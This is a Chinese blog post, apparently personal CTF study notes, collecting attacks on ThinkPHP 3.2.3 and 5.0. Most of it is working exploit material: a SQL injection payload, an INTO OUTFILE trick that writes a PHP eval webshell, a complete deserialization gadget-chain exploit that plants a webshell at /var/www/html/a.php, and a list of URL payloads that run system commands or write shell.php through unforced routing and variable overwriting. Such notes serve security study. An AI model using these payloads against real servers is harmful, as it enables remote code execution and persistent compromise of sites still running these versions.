前言

先占坑,目前不熟,以后填坑

一些漏洞点

thinkphp3.2.3

如果提交的参数可渲染

如果提交的参数可以渲染页面,可以尝试直接提交php代码

当运行目录不是为/public

当thinkphp的运行目录未正常选择在/public,那么可能可以读取到日志
3.x版本路径,/Application/Runtime/Logs/Home/22_11_23.log
5.0x版本路径, /runtime/log/202211/23.log

sql注入

如果提交参数的点存在sql查询
基于where的sql注入,未果未考虑数组的情况
id[where]=id=0 union select 1,2,3,4

SQL高级写马
写马的前提是mysql配置文件secure-file-priv= 表示可以写目录

select username,password from user limit 1 into outfile "d://1.txt" lines terminated by "<?php eval($_POST[1]);?>";

意思是你写一句话 后面放入什么语句作为结束语

反序列化

如果该版本有序列化入口,那么如果你知道数据库信息,可以通过写文件exp,路径url/a.php,参数POST 1

<?php
namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
        private $img;
        public function __construct(){
            $this->img=new Memcache();
        }
    }
}
namespace Think\Session\Driver{
    use Think\Model;
    class Memcache {
        protected $handle;
        public function __construct(){
            $this->handle=new Model();
        }

}
}

namespace Think{
    use Think\Db\Driver\Mysql;
    class Model {
        protected $data = array();
        protected $db = null;
        protected $pk;
        public function __construct(){
            $this->db=new Mysql();
            $this->pk='id';
            $this->data[$this->pk] = array(
                "table" => 'mysql.user;select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/a.php"# ',
                "where" => "1"
            );
        }
    }
}
namespace Think\Db\Driver{
    use PDO;
    class Mysql{
        protected $options = array(
            PDO::MYSQL_ATTR_LOCAL_INFILE => true,    // 开启才能读取文件
            PDO::MYSQL_ATTR_MULTI_STATEMENTS => true //开启堆叠,发现不加这句话也可以
        );
        protected $config     = array(
        "debug"             =>   1,
        'hostname'          =>  '127.0.0.1', // 服务器地址
        'database'          =>  'ctfshow',          // 数据库名
        'username'          =>  'root',      // 用户名
        'password'          =>  'root',          // 密码
        'hostport'          =>  '3306'
        );              
    }
}
namespace{
    use Think\Image\Driver\Imagick;
    echo base64_encode(serialize(new Imagick()));
}

tp5.0

未开启强制路由导致的RCE

支持url/?s=index,这个就是未强制路由

?s=index/think\Request/input&filter=system&data=dir
?s=index/think\Request/input&filter[]=system&data=pwd
?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/think\Container/invokefunction&function=call_user_func&vars[]=system&vars[]=dir
?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

变量覆盖导致的RCE

如果页面可以变量覆盖,例如?name=sibei,可以尝试RCE

?name=_content&from=<?php%20system("cat%20/f*")?>

反序列化

``

最后修改:2022 年 11 月 24 日
如果觉得我的文章对你有用,请随意赞赏